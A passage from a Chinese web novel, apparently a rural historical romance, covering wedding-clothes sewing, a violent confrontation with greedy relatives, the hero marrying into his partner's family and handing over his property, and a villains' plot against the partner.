他自己也觉察到不对劲,笑容都呆了呆,看着酒杯说:“这酒好烈。” 奈宁凑过来,在他嘴角吧唧亲了一口,还是觉得口干舌燥,忍不住探出舌尖舔过大少爷的唇。 萧练只觉得一股热流自下腹涌起,凑过去想亲小哥儿,后者却已退回去,捧着碗小口小口地吃饭,脸颊微红,乖巧可爱。 萧练舔了舔唇,压住心头邪火,先等他吃饱再说,但还是忍不住又捏了捏他脸蛋,将粉嫩唇瓣扯得变形,才咬着牙放过他。 吃完饭奈宁早早洗完澡,天色还早,鸡鸭都还没有回笼,在地上啄米。 他闲散的地坐在小板凳上乘凉,支着脑袋看着鸡鸭发呆。 里屋传来一阵笃笃声音,刚刚洗完澡的萧练从房里出来,等了好久没见小哥儿入房,到他房走了一圈也没见人,下意识就往后院来,果然一眼看到了他,俊脸立刻绽开笑意。 奈宁一抬头就看到了他,嘴角浅笑压不住,眼底闪着光,有些不意思地放下支着脑袋的手。 沐浴过后的大少爷太好看了,清冷的长相越发美艳,温柔浅笑模样更是让人心里又甜又痒,似有小苗要破土而出。 奈宁忍不住多看了两眼。 萧练在旁边坐下,小板凳越拉越近,直到奈宁失笑,控制不住推他,又将板凳往后挪,轻声道:“别凑这么近了,不热么?” 萧练笑道:“哪里热了,这不挺阴凉的么?” 竹林有风,簌簌颤动,竹叶如蝶飘落,身侧之人满头青丝飘过来,落在脸蛋脖颈,夹着幽香,原本就心痒难耐,此刻越发控制不住,萧练尾指勾了勾奈宁手指:“要不我们先把婚服做了?” 奈宁好似被烫了一下,低声说也好。 做婚服就要量尺寸,奈宁拿出软尺,想到一会要做的事情,脸蛋滚烫,嘴角拢不住。 他的手光明正大地圈过大少爷的腰,腰带将腰肢束得紧紧的,可以摸到上面紧绷的皮肉。他慢吞吞地,量得仔细认真,手掌擦过每一寸腰腹。 萧练忍住那一股痒意,尽量将手张开,让他摸,眼眸嘴角都微微弯着。 接着便是□□,从腿根处开始丈量,奈宁视线总控制不住撇向一旁,之后赶紧合上眼帘,笑容的弧度更大了些。 所以说,这个时候大少爷怎么可能老实。 一般量一边就行了,他磨磨蹭蹭连另一边也量,还是不愿意走,目光定向一处,低声道:“要不要也量量?” 把萧练逗得仰头哈哈笑,道:“好啊!” 奈宁羞答答的,拉着大少爷的手,把他拉进房里,砰的一下,把门关住了。 第43章 第 43 章 不做好衣服,啥也不要想…… 奈宁转过头来, 跟大少爷四目相对,两人都不好意思,萧练先笑了笑, 奈宁也跟着傻笑起来, 目光落在对方身上,舍不得挪开。 萧练轻咳一声:“要我自己脱吗?” 真是羞耻死了, 奈宁紧张得掰着手指头不好意思说话。 看着他乖巧可爱的模样, 萧练莫名喉头发紧,音色温柔嗓音却是哑的:“我脱了,可没那么容易穿上哦。” 奈宁脸蛋爬上红晕, 却是连连点头,眼睛泛出星星:“好啊!” “哈哈。”萧练失笑。 毕竟是大白天, 萧练还是知道羞耻, 将手放在腰带上, 又收了起来, 忍不住去检查门窗。 那窗子开了又关, 正要转身,一具温软的身体贴了上来,柔软的双手落在腰间, 鲜少被人触碰到的地方一片酥痒,耳边是小哥儿撩人的声音:“大少爷。” 黏黏腻腻的, 好似离不开他一般, 叫人心尖直颤,萧练盖着小哥儿落在自己腰间的手,偏过头来,声音越发温柔:“还叫大少爷?” 奈宁将脸蛋贴在他的肩膀上,嘴角含着绵绵笑意, 眼睛一眨不眨看着他。 好喜欢这个时候,喜欢就这么安安静静地抱着大少爷,心里安宁温暖。 萧练呼吸一凝,不知不觉凑过去,小哥儿下意识往后躲,被他眼疾手快捏住下颌,生怕小哥儿又溜了似地,拉着他的手,转过身来,跟小哥儿额头相抵。 粗沉气息打在脸蛋上,越逼越近,奈宁眼睑一颤一颤,不敢抬眸,好看的唇缓缓压下来,贴在他唇上,先是轻轻地磨蹭碾压,随着呼吸变沉,男人唇吻的力道越来越重。 分明已经吻到了,却怎么都不够,胸膛越发空虚,如有火在烧,萧练将那微凉没什么味道的唇瓣含进口中,舌齿舔咬着,好像是什么美味一样,非要用力吸吮,非要尝出个咸淡。心头的火没有被浇灭,反而越烧越烈,只想做些更加凶残暴力的动作。 他更进一步,将小哥儿抵在床角,卡着小哥儿下颌的手收紧,逼他张开唇,潮湿的舌尖撬开牙关,霸道地钻了进去。 从来没有试过这个动作,触到那份柔软,下意识地去追逐缠绕,双唇牢牢地贴在一起。 奈宁被迫张着嘴,任他吮吸掠夺,鼻尖空气越来越稀薄,男人的身体滚烫得厉害,越发压下来,呼吸也沉重起来,双手推在男人宽阔的肩膀上,想要用力又怕他摔倒。 喉间溢出委屈的声音,泪意在眼眸里氤氲开,即将要哭出来的时候,男人终于退了出来,但却还没有放过他。 一口咬在他他尖尖的下颌上,挺拔的鼻尖将他下颌顶起,贪婪地吮吻着纤细的脖颈,舔咬精巧的小喉结。 哥儿长相跟男人所差不多,介于女儿的柔美与男子刚猛之间,比最俊美的男子要更清丽几分,精巧漂亮的脸蛋加上带着男性特征微微凸起的喉结,更是摄人心魄。 萧练呼吸越发粗沉,下腹的燥热越发难以抑制,牢牢地压制着小哥儿,恨不得将他融进血肉里。 眼睛舍不得闭上,喜欢看他被自己欺负得眼眸含泪的模样,越发叫人想将他吞噬殆尽。 奈宁眼尾绯红,浑身微微颤抖,双手无力的推拒,在男人宽阔的胸膛紧窄的腰腹上乱摸。 萧练口干舌燥,心痒难耐,心里渴望又忐忑,不知道小哥儿什么时候就开始突然来一下。 他也不阻挡,反而是鼓励的,动作放的轻缓了些,给留出操作余地。 柔软的手摸到腹引起一阵燥热。 再往下一点,他心里祈祷着,呼吸粗紧。 那只手却又往上摸去,摸到了他的衣襟,探了进去。 萧练闷哼一声,在小哥儿耳畔低喃:“继续!” 奈宁浑身一颤,手上动作不自觉的加动,狠狠的抓了两把,硬邦邦又肉乎乎。 萧练啊一声,伸手要抓他,做了坏事的小哥儿逃比谁都跑得快。 萧练:“诶……” 拉也拉不住,人就这么跑了出去。 萧练失神地摸着自己的胸口,有点疼,酥酥麻麻的,触感久挥不去。 真是万万没想到这个时候都能跑。 奈宁摸着自己脸蛋,烫得很,心跳很快,有一种差点被吃了的感觉。 等萧练出来,奈宁已经低着头开始裁衣服了,眉眼正经得不像刚刚乱摸过人。 “需要我帮你量一下吗?”好听的声音钻入耳膜,伴随着一具温热的声音贴在后背。 萧练从后面将他圈住,失去拐杖的支撑,瘸腿的男人将他牢牢压在桌子上。 纤细的腰肢被他宽大的手掌捏了又捏,萧练喉结攥动:“怎么这么瘦?” 说话就说话,偏要贴着人家的耳朵,粗哑的声音似沙砾磨过耳膜。 敏感的位置被他捏在掌心,奈宁直忍不住笑,推桑之力都变得欲拒还迎。 萧练黑眸深了深,捏了半天忘了拿尺子,等量到□□时,他捏着人家的腿,把人家搞得酥酥麻麻的。 奈宁头皮发麻,双腿微微颤抖,害怕他突袭,紧张又刺激。 大少爷也挺拼的,腿脚不便也要蹲下来给他量腿长。 但很正经,没有乱摸,虽然盯了一会,喉间发出一声低笑。 奈宁只觉一股热意自下腹涌起,空气中都弥漫着甜腥气息,越发难堪。 脸蛋烫得要烧起,默默的去裁衣服,好像也不能怪大少爷不行,毕竟大少爷都没碰到他,他就不行了。 奈宁很少做衣服,艰难比划半天,裁好之时沉沉松了一口气,好像要瘫下去。 大少爷一直凑在他身边,虽然没有碰他,但偶尔触到一点衣料都叫他头皮发麻。 看男人谈笑自若,奈宁莫名恼怒,把裁给他的那一套衣服塞到他怀里:“把自己的衣服裁好再说!”又小声嘟囔:“哪有哪有这种的,还没拜堂就动手动脚!” 萧练都乐了,但看他这么凶又不好说,只弱弱道:“布不是已经裁好了吗?” 小哥儿一张肿胀未消的脸蛋越发涨得红,越想越气不过,狠狠锤了他一拳。 萧练哪里会缝衣服,拿着针线不时的探头过来看奈宁。 天色渐暗,天边现出璀璨云霞,堂屋里,抱着大红布匹的两人越靠越近。 萧练已经知道怎么缝了,但还要贴着小哥儿问。 心神不宁,一句话问两遍:“这样缝啊?” 奈宁被他垂下来的头发跟呵出来的气息撩得不行,推道:“你你认真点。” 推了几次,他越发得劲,没有骨头一样挨下来,奈宁恼道:“不做好衣服,啥也不要想!” 萧练含着笑的眼眸都凝了凝,迟疑道:“什么意思?” 奈宁哼道:“就你想的意思,不要以为今天晚上就可以!” 萧练一噎:“今天晚上不可以吗?” 奈宁哼了声不理他。 萧练只感觉天都塌了:“一定要先先把衣服做好吗?” 不停地往这边乱凑的男人坐了回去,一头扎进红布里。 这下子老实了,变得乖乖的,叫人莫名心动。 奈宁笑了笑,也赶紧忙起手中的针线活。 满心期待把衣服穿到身上的大少爷会是什么样子的,从那天起他们就真的是夫夫了。 入夜奈宁要睡了,萧练还撑着灯,修长的手指捏着细针在红艳艳的布上翻飞,这会动作越发娴熟,神情越发专注,眼睛都不眨一下。 喊了几声别绣了,要休息了,他都没听到。 直到奈宁熄了灯,陷入黑暗,他啊了一声扎到了手,这才停下来。 灯再亮起来,大少爷含着手指头,目光呆滞,奈宁嫣然一笑,捏了捏他脸颊:“睡觉了,明日再缝。” 萧练哦了声,奈宁掌灯回房,到房门回头一看,大少爷还坐在椅子上,呆呆的目送他回房。 大少爷半点没有要跟过来的意思。 奈宁话都说出口了,也不好收回来,悻悻的关了门。 所以说书呆子,他真就挺呆的。 一夜相安无事,清晨奈宁看到大少爷时,有些不敢相信自己的眼睛,一晚没见,大少爷好像被妖怪,吸光了精气。 看到他出来,打着哈欠,将一套衣服递到他跟前:“这一套缝好了。” 说着摇摇晃晃,又去拿另外一套。 奈宁心头一哽:“你、昨晚一夜没睡么?” 看他娴熟地穿针引线,抱着衣服又要开始缝,奈宁一把握住他的手。 “单把衣服缝好了有什么用?乌帽与鞋子,难道就不用准备吗?” “啊?” 他终于泄了气,一把倒在椅子上。 “还有什么,尽管说出来吧!” 奈宁:“……” 疯了! “你先去睡一觉,我做完饭叫你。”奈宁心底一片柔软,忍不住在他额头上亲了一口。 担心他不听,走出去又回头看一眼,男人果然又重新拿起针线,正要缝。 奈宁跺脚道:“哼!” 萧练立刻又躺了回去,衣服盖在脑袋上。 奈宁过去把他的针线都收了起来,索性将他扶回房去,出来时把他拐杖带上,房门关上。 忍不住弯了弯眉眼,好刺激,感觉藏了金丝雀。 想了想,拐杖还是放在了门角。 正要出去煮朝食,大门传来砰砰砰的声音,非常大声。 奈宁心头一紧,这个时候谁会敲他们的门? 出去之前,先拿了一柄刀。 第44章 第 44 章 找上门来 拍门声越发沉重, 砰砰砰的,招魂似的,像有什么不好的事情发生。 外头人声吵杂, 不止一两个人, 得是一大群人。 奈宁握紧了柴刀,迟疑片刻, 还是拉开了门闩。 锁刚打开, 都没等他拉门,外面的人就直接将门撞开了。 奈宁赶紧退出一步,那些人没料到门突然开了, 踉跄扑进来。 突然撞进来,他们又害怕, 赶紧退出去, 抬头一看, 发现门口站着的是个小哥儿, 顿时又羞又怒。 来者不是旁人, 正是萧练的那群堂叔伯兄弟。 奈宁一愣,已经多久没看到他们在村子里活动了,没想到这会突然回来了。 莫名有点害怕。 这些人在他眼里就是另外一道不可逾越的沟壑, 不是害怕他们,而是一看到他们就会想到自己跟大少爷与生俱来的阶级天堑。 奈宁很清楚地知道, 如果大少爷父母还健在, 他们俩是绝对不成的。 他趁虚而入了。 如果他已经为大少爷生儿育女,那他面对他们多少会有些底气。 他强压着心头的忐忑,拧眉喝道:“你们想做什么,想要擅闯民宅吗!” 谁知道这群姓萧的看到他尤为火大:“果然是你个不要脸的贱胚!” “定是你上床勾引他,不然他怎么会……”后面的话也不说, 觑一眼屋里面再没有其他人,喝道:“抓住他,将这种不要脸、上门乱勾搭男人的的浪蹄子浸猪笼!” 说着不分青红皂白就过来拉奈宁,一下子拽住了他瘦弱的手腕,直接就要将他拽出门来,好几个人男男女女一起过来拖奈宁。 奈宁惊恐叫道:“啊,救命啊,大少爷救命!” 死死扒拉着门沿,从屋里大喊着。 现在他万分后悔把大少爷的拐拿出去了。 大少爷走得那么慢,等他赶出来不知道自己是不是已经被沉塘了。 这些人一听他在喊,比他还害怕,七手八脚过来捂他的嘴。 奈宁被他们拽离,手指一点一点离开门沿,口鼻被堵住说不出话来,只能发出嗯嗯嗯的声音,甚至要窒息了。 “诶,你们在干什么?放开他!他已经是大少爷的夫郎了!你们不能带他去浸猪笼!” “这是我们萧家的事,闲杂人等少来管!” 几个男的甚至暴跳如雷:“滚开,给我滚开!” 他们只想把人进了猪笼赶紧逃离,可别让里面那位主出来。 突然一块砖头夹着泥土砸了出来,擦着边砸中跳得最高的那位堂伯额头,顿时血流如注。 钻头力都还没消,继续往后砸,又中肩膀又中胸,一连又砸到好几个人。 一道清淡愤怒的声音喝道:“放开他!” 堂伯啊一声惨叫,捂着额头,鲜血染红了手。 大家既被那鲜血震住,又被突然冒出来白衣的男子震慑到,好几个跌倒在地。 青天白日,萧练却不太像人,满头乌发披散,脸色阴深,眼下发青,走到门檐下,那张俊美非凡的脸更加没有了光,死气沉沉地逼视在场的人。 他分明瘸了一条腿,行走的速度却很快,眨眼就到了眼前。 众人满脸惊愕,就像看着鬼突然瞬移到眼前一样。 奈宁的手被松开了一些,趁此机会,赶紧挣脱开来,狠狠踹了几脚困住他的人,立刻就往萧练这边跑,一下子扑进他怀里:“大少爷!” 有人反应过来想要回手掏,已经迟了,抬头对上了萧练那双森寒的眼眸。 萧练把手放在奈宁后背轻轻拍了拍:“没事。” 又把人拉到了身后,面无表情地将拐杖横到跟前,忽然像拔剑那样拔出了拐杖,里面真藏着一柄寒光逼人的剑。 另一边是个剑鞘的模样,依然可以当拐杖。 他就这么拄着拐,飞奔过去砍人。 非常怪异的动作,常人不可能如此走路,如此诡异的行径,更叫人心惊胆战,那寒刃逼到眼前,众人才反应过来,头皮阵阵发麻,四处开溜,跑得慢的,当场被划破了衣服血肉。 一群人欺负他腿脚不便,远远地躲在一旁。 奈宁那一个恨,捡起地上的柴刀也冲过去砍。 眼眶酸涩,有眼泪从里面溢出来,这一群黑了心的,总是不让人安宁过日子! 他手脚麻利得多,跑上去一个真能砍人,但那些人明显没那么怕他,堂哥反应过来,一把握住他的手腕,反手抢他的柴刀,萧练一剑逼下来砍到了他的手。 一道刀伤翻开血肉,可惜没砍断。 萧大伯的血跟这位萧堂哥的血流了满地,一个老妇人哭天腔地,想出来找萧练对峙,面对那深寒的冷刃,咬了牙目光发狠却骂不出来,拉着自个男人儿子像老鼠一样夹着尾巴跑远了。 被人群阻挡住,这会才记得骂人天杀的狗娘养的。 萧大伯骂骂咧咧,额上青筋暴起:“连大伯都打,连大伯都打,真是目无尊长,他爹的他娘的,白白费钱读这么多书,礼仪尊卑都一点都不知道了!” 他骂得正起劲,口水四喷,旁人帮他压头上的伤口都压不及,青筋一暴,伤口又裂开,继续往下淌血。 旁边给他按伤口的人七手八脚,着急忙慌,而他瞥到一道身影后,话音戛然而止,瞬间化为一个宽厚良善的老农。 萧练握着刀,出现在他眼前,咫尺之地,刀刃一砍就下来了。 奈宁在后头拉着萧练,怕他杀了人要以命赔命。 他是恨透了这些人,想要他们死,但可不想大少爷因此丧命。 曾经村子里人人夸赞的好阿伯跟好阿侄四目相对,真是叫人唏嘘。 萧堂伯一行挣扎着又要逃,萧练出声了:“跑什么,我又不会杀了你,脏了我的手!” 萧堂伯的身影一下子僵在那里,面红耳赤说不出话来,之前他在村子里也是个有头有脸的人物,此刻如此狼狈,旁边一群人指指点点。 “既然你们都来了,今日就把话说清楚。” 所有人都看向他,只见他身姿笔直,面容冷肃,不知道他要说什么,但是一定是很重要的事。 不知不觉大家都凝神屏息,竖起耳朵细听。 “我萧练并非娶了奈宁!” “嗯?”众人瞪大了眼睛。 奈宁心头一颤,眼眶瞬间溢出泪来,看着大少爷,一脸不可置信。 昨天晚上还圈着他,卿卿我我的男人,这么快就变了心! “乃是我入赘,萧练携带身家入赘,嫁给奈宁,以后我名下所有财产,都归我妻所有!” 现场安静下来,奈宁瞪大眼睛,不敢相信自己听到了什么,愣愣的看着大少爷。 萧练也看着他,冲他一笑,将手上一串钥匙塞到他手中,声音都变得温柔了:“我爹娘生前最看重祖宅,总说落叶归根,人不要忘本,这套钥匙向来是我娘保管,现在归你了。” 萧练握着奈宁的手将钥匙牢牢禁锢在他手掌心,钥匙冰冰凉凉的,奈宁却觉得又沉重又烫人,脑子乱糟糟的,大少爷说的话让他脑子都卡住了。 “不可以!”萧唐伯的伤口刚刚包扎好,一声暴喝,立刻又涌出血来:“你既然去入赘,就不是萧家的人,萧家的家产由不得你来分!” 萧练好像听到了什么天大的笑话,先是呵呵冷笑了几声,最后是仰头大笑。 “你如此有本事,那就到我手上来抢,先把我杀了,从我尸体上跨过去,来啊!” 萧家亲戚纠结了好多人,却没有一个人敢动。 眼前的这个少年,从小就天资过人,不但是个秀才公,更是锦衣玉食养出来的大少爷。 在他们眼前从来都是天堑一般的存在,即使平时有些不屑,看到他动怒,瞬间压制不住心头的那点卑微。 以往他爹娘还在的时候,萧家亲戚谁不找借口往县城走,在他们家借宿。 亲眼看到县令大人都到他们家坐。 这回出事,县令大人第一时间上门了,听说他腿脚不能好了,摇摇头,吩咐他好生养伤,这才离开。 那些有头有脸的人物,他们要下跪叩首的人物,萧练爹娘在时不知接待了多少。 一开始出事那段时间,频频有人上来问,请了不少大夫,直到确认怕是不能好好走路了,来的人骤然减少。 他们才后知后觉明白一件事,哦,这怕是科举之路中断了。 本地的达官富贵觉得在他身上投资无望了,不会再管他了。 他们家在心底的那股恶念这才得以滋长。 他们倒是想斩草除根,但是县令大人临走之前说了什么,叫他好生养伤。 只要他腿脚一天不好,他就都是那个没有用的人。 他们就可以把他的财产占为己有,之前以好好养伤为名,把他送回老家,原本想就此将他蹉跎死,谁知中间蹦出个浪蹄子,上门去勾引他,又让他死灰复燃! 他们只恨这么迟才得到消息,这个时候才过来阻止,什么都迟了。 他们占了萧练在县城的房子,但是很奇怪,这个房子空空如也,不是说什么都没有,锅碗瓢盘还是有的。 但名贵的字画陶瓷,一件不见! 倒是还有两家店铺,其余说是都卖出去了,剩的这两家店铺的掌柜的也换了个人,一开始的两个月还给他们十两几两银子,但现在就是说资金周转不过来,要他们投钱进去。 他们投了一笔二十两,回报得了五十两,现在又要他们继续投一百两进去。 生意是挺有赚头,但他们钱没那么多呀! 刚刚搬到县城,幻想自己也是那锦衣玉食的大少爷,变本加厉的花钱,刚给到的几两银子早就花出去了,哪里还有这么多钱投进去。 这会儿又记起老宅子了,原本想问萧练死了没有,谁知他不光没死,还有了个夫郎! 更过分的是,他们听说这老宅子里有很多值钱的东西! 所以是把县城里所有的东西都搬回老宅子了么? 别看他们敢嚷嚷着要把奈宁浸猪笼,把萧练弄死,却是没有人敢。 萧练目光落在这些人身上,满脸嫌恶,以前爹娘说看开点,不要揪着旁人的一点不好不放。 这些叔伯虽然贪财了些,但也是最亲的血缘了,以后凡事有个帮衬。 殊不知是这样帮衬的,恨不得他早点死。 现在看到这些人就讨厌,恨不得割清跟他们的一点点联系。 一扭头,奈家的族长刚好就在现场。 第45章 第 45 章 入赘 萧练走到奈氏族长面前:“我要入族谱!” “我一切都是奈宁的, 我带着我所有的家产,嫁给奈宁,我不光要入赘, 我还要进奈族族谱!” 奈宁瞪大了眼睛, 这什么惊天言论? 族长尴尬道:“呃,可是外嫁女外嫁夫郎不入奈家族谱啊。” 旁边奈家的人连忙扯族长的衣袖:“族长, 这个是秀才公啊, 秀才公!” 族长万分为难道:“也没地儿写啊!” 他们的族谱呈树状,父亲之下是子女,完全没给配偶留位置。 一边说没地儿写, 另一边族长早差人回去将族谱拿了过来。 萧练翻开族谱,指着奈宁名字的旁边道:“这不是还有挺大一块地儿吗?我的名字写在宁宁旁边即可。” 奈宁惊回了神, 赶紧过来扯大少爷的衣袖:“你疯了, 你不认你爹娘了么!” 萧练迟钝片刻, 又毅然决绝在上面落自己的名字:“我不是不认爹娘, 我是绝不给他们抢夺你财产的机会!宁宁, 以后我的一切都是你的,谁也不能抢!” 奈宁:“呃……” 事情发展怎么跟他想象中有点不一样? 大少爷把自己跟家产一块打包卖给他了,还分文不取! 萧家堂哥道:“你你已经不是萧家的人, 不能带着萧家的东西……” 萧练冷然一眼扫过去:“今日来光临寒舍的各位,我记住了。” 他冷冰冰的眼眸没什么表情:“以后定会一一奉还。” 说罢也不管他们什么反应, 拉着奈宁回去, 离开之前跟族长说了声:“之后我会到萧族宗祠消名。” 回到家里,奈宁还是懵懵的,想不到就这么解决了。 可能以后他们还会上来捣乱,但现在至少是没事了。 奈宁把萧练推回房,让他继续睡觉去。 大少爷看着他, 几次欲言又止。 奈宁将他放倒在床上,盖上薄被,想想天气还热又掀开,在他额头上亲了一口,哄小孩那般低声道:“快点睡吧。” 萧练拉住了他的手,终还是开口了:“之前,我们原本打算搬进郡城,不再住在县城。” 奈宁愣了一下才反应过来,这里的我们应该就是他跟他爹娘。 “却在路中出了事。”他沉默了一会又道:“爹娘不善于经营,每每都是亏钱,是以将县城里的产业都卖光了,只剩一个空房子在那里,那房子的房契就在家里,明日我修书一封将空房子也卖掉。” “你要上县城吗?” “不必,届时到镇上送个信便好。” 奈宁眉眼弯弯笑起来,大少爷这是借他人之手将驻虫赶出房子。 待大少爷安分闭眼,奈宁转身回灶房做朝食,今日定要好好奖励大少爷。 那些人的到来打搅了他们的生活,不过也不算是一桩坏事,以后他会硬气起来,毕竟大少爷把自己跟财产都一并入赘给他了。 想想就很快乐,一边淘米下锅一边控制不住笑出声来。 等米洗到一半要下锅,他才想起要通灶灰了,锅底的黑炭最好也刮一刮。 不过现在米都下锅了,锅底的黑炭只能等下次刮了。 他们烧的是山上割下来的柴草,一个月了,没出几次灰。 山上割的柴草就是火旺灰少,不知为何如此。 乡下人都喜欢烧稻草,稻草烧出来的灰多,可以用来堆肥,许多菜种下去的时候都需要落灰,特别是番薯在快要结出果实时在雨天撒一把灰,给出的果实会更好更大。 奈宁想在来年种块地,倒也想烧稻草堆些肥,奈何没有。 一灶肚的灰看起来多,拿小铲子压一压就没了,一个簸箕都装不满。 灶肚里面通得干干净净的,也叫人心情舒畅,大少爷第一次通灶肚的时候还挺开心,使劲地掏了半天,把边边角角的灰都给挖出来,差一点没将扫把伸进去扫。 灶肚通畅,火都烧得旺了。 烧柴炖了粥,又洗了把绿豆,另外起锅熬绿豆汤,还到后院把鸡抓回来宰了。 撸起袖子一个人拔鸡毛,比昨日跟大少爷一起拔鸭毛快多了。 鸡毛一般没什么用,村里人都直接倒在外面的大路上,踩踩变成泥。 奈宁从里面挑出几根漂亮鲜艳的羽毛,扫了倒进堆肥的坑里。 又去翻翻昨日晒的鸭毛。 早就干了,立刻拿麻袋收起来,一只鸭子的鸭毛太少了,要想用来做些什么,不知道得吃多少只鸭子。 忙完又赶紧去剁鸡肉。 一半炖了鸡汤,洗些红枣枸杞放进去,再放些党参人参什么的,另一半鸡肉暂且先留着,晚上蘑菇炖小鸡,可香。 奈宁美滋滋地想。 做完一切,蹑手蹑脚地去寻大少爷。 不知挑灯奋战了多久的男人,此刻睡得正酣,奈宁悄然躺在旁边,侧身而卧,看着男人俊美的容颜,止不住发笑。 另一边,萧家堂叔伯兄弟被围观的村民被指指点点。 “真是狼心狗肺,以前大少爷爹娘不知道帮助了他们多少,现在这样来对大少爷!” “难道我们没眼睛看吗?之前大少爷回来之前都想死了,现在活蹦乱跳的,他们肯定看不下去,想弄死宁宁,让大少爷继续想不开去死吧!” “怎么有人这么毒啊,白眼狼!” “怎么没有?天天看人家穿金戴银眼红的,早就巴不得人家死了,好把一屋子财产都夺过来!所以我跟你说呀,做人一定不要太大方,今日支援了邻居一顿,下一次你不给就恨不得你死,人的野心就是撑大的。若大老爷大太太一开始就像狗一样溜他们,高高在上地踩他们,说不定他们现在还知道乞尾求怜!就是对他们太好了,太敬重了,觉得自己可以爬到人家大少爷头上去!” “上次我脚不小心拐到了,遇到他们的马车,让我上去坐,我是记一世他们的好!有些人又吃又拿,就是不知道记人家的好,跟这种人住一个村子,不知几时就要在井里落毒,早些滚出村去吧!” 惹了众怒,一群人夹着尾巴灰溜溜跑了。 出了村子,萧堂伯又开始骂起来:“都是那个贱货,要不是他,萧练早就死了!” 萧堂兄笑道:“爹别急,那贱货不是有一个好爹吗?” 他们没有立刻回县城,堂兄弟几个跑镇上一趟,蹲到了彻夜未归的奈大壮。 奈大壮输了钱,颓靡地走在大街上,忽然就被几个壮汉挡住了去路,捂着口鼻拖到了小巷上。 牛二今日也输得精光,原本想找奈大壮合计一二,忽然目睹奈大壮强行被拐走。 他吓得腿脚发软,想直接离开,转念又觉得这是可以捞钱的机会,悄悄地跟在后面。 奈大壮吓得屎尿直流,双腿发软,直往地上跪去,额头磕得砰砰响:“各位好汉饶命饶命啊,你们想要什么我这就给你,只求不要杀我,不要杀我!” 萧家几个堂兄平素在村子最瞧不起这一家子,好整以暇看着他磕到额头都破了,这才笑着将人扶起:“大壮叔,你看看咱们是谁?” 奈大壮几日没睡,熬得老眼昏花,此时定睛一看,原来是村里认识的,正是萧练那些堂兄弟,登时脸色一□□:“得金得银,有财招宝,找死啊,连你大壮叔都敢吓!” 得金得银是堂伯的两个儿子,有财招宝是堂叔的两个儿子。 今日不光是儿子回来,女儿女婿也跟着回来,一大家子浩浩荡荡,谁也不愿落了份子钱。 得金也不想跟他多说,只问:“大壮叔,你想不想赚大钱?” 说着拿出了一吊铜板。 奈大壮输了几天,早就没钱赌了,在旁边眼巴巴看着,看得眼睛发红,叫人借点钱没一个借,叫旁人压注也没一个听,只恨没一个识趣的,眼睁睁看着看中的好几注就这么落了空,心神皆疲地出来,结果就遇了这一遭。 正要发脾气,看到这钱,眼都绿了,伸手就要掏。 得金嘿嘿笑着往后面放:“要钱可没这么容易,得帮我办一件事。” 奈大壮看着那一吊钱,口水直流:“什么事?” 得金面色一狠:“杀了你那个好儿子!” 奈宁不知不觉也睡着了,七月天气再凉爽也是有些热的,但他却是越睡越靠近萧练,慢慢埋到男人怀里。 睡醒时两人都是迷迷糊糊,萧练看清躺在自己怀里的人,笑逐颜开,靠得更近些,蹭了蹭奈宁的脸蛋。 奈宁脸颊一烫,将人推开,小声道:“先吃饭。” 汤炖得有点久了,一打开锅盖浓郁肉香扑鼻而来,这味道非常清新开胃,早晨胃口不好,吃着也香。 萧练吃了碗粥垫肚子才去喝汤,汤鲜肉美,胃口佳,心情也变好,一连灌了两碗汤。 虽是只炖了半边鸡,奈宁却是将两个鸡腿都剁了进去,自己碗里一个,大少爷碗里一个,一人捧一个大鸡腿吃,炖得软烂很容易脱骨,一口下去满满都是肉,吃得太美了。 煮开的红枣也是甜甜的,党参煮久了,里面没什么味道,他也一起吃了,除了骨头跟核,汁都不剩。 绿豆汤却还得再熬一阵,奈宁加了把柴进去,带大少爷刮锅底。 即使只是烧草,日长天久,黑炭积在锅底,积成厚厚一层,柴火烧得再旺,锅也没有那么容易烧热,隔段日子就要将锅拿出来刮一刮灰。 萧练竖起袖子,提了口锅出来刮,拿竹篾柴刀来刮都行,竹篾费劲还是柴刀方便,但得放轻点手脚。 奈宁拿柴刀,萧练拿竹篾,奈宁特意给大少爷削的竹篾,把手那一端还是圆的,另一端才是削成竹篾模样。 刮炭灰的声音不算悦耳,但也不算难听,两人目光对视上,总要愉悦笑一笑。 奈宁发现大少爷很喜欢干这种活,就是掏灶肚刮炭灰,一刀一刀刮过去,把它刮得干干净净,他就笑得可灿烂。 奈宁便留着给大少爷刮了,自己去洗灶台。 绿豆汤总算熬熟了,落些糖进去清清甜甜。 就是有些烫,若放凉了会更好吃。 奈宁将绿豆汤倒盘中,放在桶里,把桶悬在水井,等等就能吃到冰冰凉凉的绿豆汤。 忙完一切,萧练下意识就要回去缝衣服,奈宁拉住了他:“咱们出去放放鸭子。” 萧练还不想去:“那婚服……” 奈宁冲他微微一笑:“我要是不乐意,那婚服做得再怎么快又有什么用?” 萧练:“……” 看他魂都丢了,奈宁笑了笑,戳了戳他脸蛋:“要是你陪得我开心了,说不定今天晚上就可以。” 说着眨巴眨巴了眼睛。 第46章 第 46 章 进来 从地狱到天庭也不过一瞬间, 萧练一时不知怎么形容自己心情,眼眸立刻弯起来,嘴角要翘不翘, 腼腆地挠着后脖梗:“嗯, 今晚今晚真可以么?” 奈宁笑了声,不回答往工具房走去, 把一个斗笠扣在跟进来的大少爷脑门上。 背着背篓又提了一个桶, 拿上柴刀出门。 也不去远,就在后门旁边的小溪,削了根竹枝, 赶着几只小鸭子。 小鸭子身子一摆一摆嘎嘎嘎地。 奈宁回头看一眼大少爷,大少爷也是一拐一拐的, 看着莫名可爱。 一看到水, 鸭子跑得更快了些, 扭着屁股扑通一声钻进水里去, 很快又钻出来, 在水里面游玩。 奈宁笑着回头又看了看大少爷,可惜大少爷腿脚不便,不然一起寻个地方泅水玩耍多开心。 大热天, 哥儿姑娘不像小子那么方便,随时随地就可以跳进水里玩耍, 除小时候在水里玩耍过, 长这么大都没玩过了。 他卷起裤脚踩进水里,如此也舒服得一个激灵,热天玩水可舒爽。 萧练站在岸边下不来,光看着他发愣。 奈宁笑了笑又走回岸上,突然就往家的方向跑:“等一下!” 萧练看看他又看看鸭子:“诶?” 最后弃了鸭子拄着拐要跟他回去, 走到半路奈宁从屋里出来了,手里端着一只椅子,还提着一双木屐。 椅子杵在水里,奈宁回头看着萧练,笑道:“走进来试试?” 萧练看着他发呆,脱了鞋子踩着木屐卷起裤脚,一步一步走进水里,受伤的那只脚要抬起来,走进去的过程中,摇摇晃晃。 奈宁小心地扶在他身后,生怕跌了,萧练嘴角含着浅笑,其实不中用,他要跌肯定把他也压下去,但他也不说,就任小哥儿笨拙地护在自己身侧。 一切还算顺利,萧练稳稳当当的坐到水里,翘着一只脚,此番坐态有点大爷。 